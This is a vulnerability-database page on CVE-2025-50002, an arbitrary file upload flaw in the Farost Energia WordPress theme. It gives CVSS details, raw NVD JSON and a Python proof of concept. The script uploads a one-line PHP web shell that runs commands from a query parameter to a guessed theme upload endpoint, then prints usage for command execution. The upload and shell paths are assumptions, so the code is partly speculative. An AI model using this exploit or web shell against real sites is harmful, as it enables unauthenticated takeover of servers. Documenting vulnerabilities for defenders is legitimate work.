Security Vulnerability Report
中文
CVE-2025-50002 CVSS 10.0 CRITICAL

CVE-2025-50002

Published: 2026-01-22 17:15:57
Last Modified: 2026-04-27 15:16:08

Description

Unrestricted Upload of File with Dangerous Type vulnerability in Farost Energia energia allows Upload a Web Shell to a Web Server.This issue affects Energia: from n/a through <= 1.1.2.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Farost Energia主题 <= 1.1.2
所有从n/a版本到1.1.2的版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-50002 PoC - Farost Energia Theme Arbitrary File Upload # Target: WordPress site with Farost Energia theme <= 1.1.2 def exploit_upload(target_url, webshell_content): """ Exploit arbitrary file upload vulnerability in Farost Energia theme """ # Target upload endpoint (typical WordPress upload path) upload_url = f"{target_url.rstrip('/')}/wp-content/themes/energia/include/upload.php" # Prepare malicious file files = { 'Filedata': ('shell.php', webshell_content, 'application/x-php') } try: print(f"[*] Attempting to upload WebShell to {target_url}") response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: # Assuming the shell is uploaded to a known location shell_path = f"{target_url.rstrip('/')}/wp-content/uploads/shell.php" print(f"[+] WebShell uploaded successfully!") print(f"[+] Shell location: {shell_path}") print(f"[+] Use: {shell_path}?cmd=<command>") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] # Simple PHP webshell webshell = "<?php system($_GET['cmd']); ?>" exploit_upload(target, webshell)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-50002", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:56.650", "lastModified": "2026-04-27T15:16:07.960", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in Farost Energia energia allows Upload a Web Shell to a Web Server.This issue affects Energia: from n/a through <= 1.1.2."}, {"lang": "es", "value": "Una vulnerabilidad de Carga irrestricta de archivo con tipo peligroso en Farost Energia energia permite Cargar un shell web a un servidor web. Este problema afecta a Energia: desde n/a hasta &lt;= 1.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/energia/vulnerability/wordpress-energia-theme-1-1-2-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}